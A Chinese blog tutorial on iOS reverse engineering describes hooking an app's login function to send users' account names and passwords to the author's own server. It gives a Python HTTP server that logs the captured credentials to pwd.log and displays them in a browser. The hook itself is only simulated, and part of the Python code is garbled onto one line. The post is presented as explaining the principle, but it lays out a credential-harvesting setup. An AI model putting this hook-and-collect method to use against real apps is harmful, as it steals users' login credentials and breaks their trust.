iOS逆向安全之hook函数 截取数据上传自己的服务器

这个需要实现的就是hook用户的登录账号 然后上传的自己的服务器

1.首先是需要找一个目标函数demo地址

2.逆向中我们需要找到登陆的按钮 我这边就模拟下 自己写个按钮就当hook到了
这里是向自己本地的服务器发送数据

3.搭建本地服务器 [转载]http://www.alonemonkey.com/the-second-wechat.html

#!/usr/bin/env python 
# -*- conding:utf-8 -*- 
  
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer  
from urlparse import urlparse, parse_qs  
  
DEFAULT_HOST = ''  
DEFAULT_PORT = 8080  
  
  
class RequestHandler(BaseHTTPRequestHandler):  
    def do_GET(self):  
        params=parse_qs(urlparse(self.path).query)  
        self.send_response(200)  
        self.send_header('Content-type','text/html')  
        self.end_headers()  
        # 获取账号密码
        fread = open('./pwd.log','r')
        lines = fread.readlines();
         #每隔2秒刷新一次
        content = ''
        for line in lines:
          content = content+line+'
' # Send the message to browser self.wfile.write(content) return def do_POST(self): params=parse_qs(urlparse(self.path).query) #保存账号密码 fwrite = open('./pwd.log','a+') fwrite.write("username=%s\n" % params['name'][0]) fwrite.write("pwd=%s\n" % params['pwd'][0]) fwrite.close() self.send_response(200) self.end_headers() return def run_server(): try: server_address=(DEFAULT_HOST, DEFAULT_PORT) server= HTTPServer(server_address,RequestHandler) print "HTTP server started on port: %s" % DEFAULT_PORT server.serve_forever() except Exception, err: print "Error:%s" %err except KeyboardInterrupt: print "Server interrupted and is shutting down..." server.socket.close() if __name__ == "__main__": run_server()

利用python基于BaseHTTPServer的web服务器搭建
这里就是接收登录时候的post请求 生成log文件 然后定时器刷新放到本地服务器上 http://localhost:8080/

注:VS Code 运行python ,Chrome 打开 http://localhost:8080/ 这样就是实时看到hook的账号密码了 通常都不会明文 这只是简单的叙述一下原理

你可能感兴趣的:(iOS逆向安全之hook函数 截取数据上传自己的服务器)